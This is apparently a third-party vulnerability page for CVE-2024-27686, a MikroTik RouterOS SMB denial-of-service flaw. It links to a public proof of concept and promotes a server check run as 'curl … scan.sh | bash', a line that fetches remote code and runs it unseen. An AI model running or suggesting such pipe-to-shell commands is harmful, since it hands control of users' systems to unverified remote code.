NVD · CVE-2024-27686

CVE-2024-27686

Published: Fri, 08 May 2026 06:16

CVE-2024-27686

Summary

Mikrotik RouterOS (x86) 6.40.5 through 6.49.10 (fixed in 7) allows a remote attacker to cause a denial of service (device crash) via crafted packet data to the SMB service on TCP port 445.

Are YOU affected by CVE-2024-27686?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2024-27686 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://github.com/ice-wzl/RouterOS-SMB-DOS-POC
https://www.exploit-db.com/exploits/51931

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